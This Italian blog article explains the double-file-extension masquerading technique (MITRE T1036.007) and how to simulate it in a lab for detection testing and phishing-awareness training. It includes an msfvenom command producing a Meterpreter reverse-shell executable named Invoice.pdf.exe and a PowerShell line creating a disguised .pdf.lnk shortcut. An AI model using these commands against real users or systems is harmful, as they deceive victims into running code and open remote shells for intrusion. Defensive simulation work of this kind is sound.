Doppia Estensione nei Nomi File: Double File Extension (T1036.007)

La tecnica della doppia estensione sfrutta un comportamento predefinito dei sistemi operativi — nascondere le estensioni note — per mascherare la vera natura di un file. Un payload denominato Report.pdf.exe appare come un innocuo Report.pdf in Esplora Risorse, nei client di posta e in qualsiasi applicazione che rispetti le policy di sistema sulla visibilità delle estensioni. L'utente apre quello che crede un documento, innescando invece l'esecuzione di codice arbitrario.

Questa tecnica si colloca nella tattica Defense Evasion (TA0005), dove l'obiettivo dell'attaccante è eludere i controlli di sicurezza e la percezione umana. In termini di kill chain, il mascheramento opera tipicamente come facilitatore di Initial Access — veicolato tramite allegati di spear-phishing — e di User Execution, quando la vittima lancia il file convinta della sua innocuità.

Le estensioni-esca più diffuse sono quelle percepite come sicure: .txt, .doc, .pdf, .jpg, .gif. Le estensioni reali che determinano l'esecuzione includono .exe, .scr, .hta e .lnk. La semplicità di implementazione rende questa tecnica accessibile a gruppi APT strutturati quanto a operatori opportunistici: 2 gruppi documentati, 3 famiglie malware e 2 mitigazioni ufficiali confermano che il trucco, pur elementare, resta efficace contro utenti e filtri non configurati adeguatamente.

Simulare la doppia estensione in laboratorio è utile per validare i controlli GPO, testare le regole di detection Sysmon e misurare la risposta degli utenti durante campagne di phishing controllate. La catena d'attacco prevede tre fasi: creazione del payload mascherato, delivery e verifica dell'esecuzione.

Creazione del payload su Linux. Con msfvenom (open source, parte di Metasploit Framework) si genera un eseguibile Windows rinominato con doppia estensione:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4443 -f exe -o Invoice.pdf.exe

Il file risultante si chiama Invoice.pdf.exe. Su un sistema Windows con estensioni nascoste, l'utente vedrà soltanto Invoice.pdf. Per replicare il pattern .pdf.lnk documentato per Kimsuky e per il malware DarkGate, si può creare un collegamento LNK malevolo con PowerShell:

$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut("$env:USERPROFILE\Desktop\Documento.pdf.lnk"); $sc.TargetPath = "cmd.exe"; $sc.Arguments = "/c calc.exe"; $sc.IconLocation = "shell32.dll,1"; $sc.Save()

Questo comando genera un file Documento.pdf.lnk che, con le estensioni nascoste, appare come Documento.pdf e al doppio clic lancia calc.exe (sostituibile con qualsiasi payload). L'uso dell'icona da shell32.dll rafforza l'inganno visivo.

Variante DOC.exe à la Bazar. Per simulare il pattern del loader Bazar, è sufficiente rinominare un eseguibile con doppia estensione DOC:

cp payload.exe PreviewReport.DOC.exe

Delivery via GoPhish. Per una campagna di phishing simulation realisticamente strutturata, GoPhish (open source) consente di allegare il file a template email e tracciare chi apre l'allegato. Il valore operativo sta nel misurare la percentuale di clic prima e dopo il training.

Validazione della detection. Dopo l'esecuzione, verificate che il SIEM abbia registrato sia la creazione del file (Sysmon EventCode 11 — FileCreate) sia l'avvio del processo (Sysmon EventCode 1 — ProcessCreate) dal path monitorato. Se entrambi gli eventi mancano, le regole di detection vanno riviste.

Un consiglio pratico: includete nel test anche estensioni meno ovvie come .jpg.scr e .doc.hta, perché alcune regole filtrano solo .exe come estensione finale e lasciano passare il resto.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo